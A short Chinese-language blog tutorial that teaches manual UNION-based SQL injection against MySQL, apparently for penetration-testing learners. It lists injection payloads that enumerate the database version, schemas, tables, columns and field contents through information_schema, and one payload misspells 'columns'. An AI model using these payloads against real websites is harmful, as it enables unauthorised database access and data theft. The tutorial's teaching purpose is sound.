MySQL注入之显错注入

  1. Mysql相关知识点:

库:就是一堆表组成的数据集合
数据库里自带的系统库:information_schema
MySQL注入之显错注入


Information_schema里columns表里存着所有字段名
information_schema里schemata表里存着所有库名
information_schema里tables表里存着所有表名
MySQL注入之显错注入

常用的sql语句:
Select * from :从表里查询所有内容
Where :有条件的从表里选取数据
and或or:按条件选取数据
order by :根据指定结果选取排序
Limit0,1:从第一行起显示1条记录
Union select :将多个表拼在一起


显错注入-联合查询(mysql)基本流程:
是否存在注入点—>猜解字段数—>联合查询寻找输入点->利用系统自带库查询字段名和表名->获取我们需要的数据或权限


手工注入查询相关内容

猜测数据库版本:and 1=2 union select 1,version()

猜询数据库:and 1=2 union select 1,schema_name from information_schema.schemata limit 0,1

查询表名 :and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1

查询字段名:and 1=2 union select 1,group_concat(column_name) from information_schema.cloumns where table_schema=database() and table_name =‘表名’

查询字段内容:and 1=2 union select 1,字段 from 表名

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章